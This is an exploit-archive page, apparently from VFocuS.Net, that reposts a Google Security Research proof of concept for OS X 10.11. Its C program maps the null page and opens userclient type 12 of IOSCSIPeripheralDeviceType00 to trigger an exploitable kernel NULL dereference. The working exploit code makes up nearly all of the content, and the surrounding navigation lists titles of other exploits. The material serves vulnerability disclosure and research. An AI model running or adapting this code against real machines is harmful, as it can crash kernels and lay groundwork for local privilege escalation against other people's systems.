首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OS X - IOSCSIPeripheralDeviceType00 Userclient Type 12 Exploitable Kernel NULL D
来源:Google Security Research 作者:Google 发布时间:2016-02-14  
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=562
 
Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference.
 
Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
*/
 
// ianbeer
// clang -o scsi_peripheral scsi_peripheral.c -m32 -framework IOKit -g -pagezero_size 0x0
 
/*
Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference
 
Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
*/
 
#include <stdio.h>
#include <stdlib.h>
 
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
 
#include <unistd.h>
 
#include <IOKit/IOKitLib.h>
 
io_connect_t conn = MACH_PORT_NULL;
 
int main() {
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }
 
 
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSCSIPeripheralDeviceType00"));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }
 
  IOServiceOpen(service, mach_task_self(), 12, &conn);  // <-- userclient type 12
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }
 
  printf("boom?\n");
 
  return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OS X Kernel - Hypervisor Drive
·OS X and iOS Unsandboxable Ker
·Android sensord Local Root Exp
·iOS and OS X - NECP System Con
·CesarFTP 0.99g - XCWD Denial o
·OS X - OSMetaClassBase::safeMe
·Glassfish Server - Arbitrary F
·OS X - IOHDIXControllerUserCli
·Linux Kernel - prima WLAN Driv
·Toshiba Viewer v2 p3console -
·Buffalo NAS Remote Shutdown
·yTree 1.94-1.1 - Local Buffer
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved